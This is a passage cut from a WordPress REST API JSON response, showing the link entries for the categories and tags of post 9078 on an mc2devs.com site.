en\/wp-json\/wp\/v2\/categories?post=9078"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.mc2devs.com\/en\/wp-json\/wp\/v2\/tags?post=9078"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}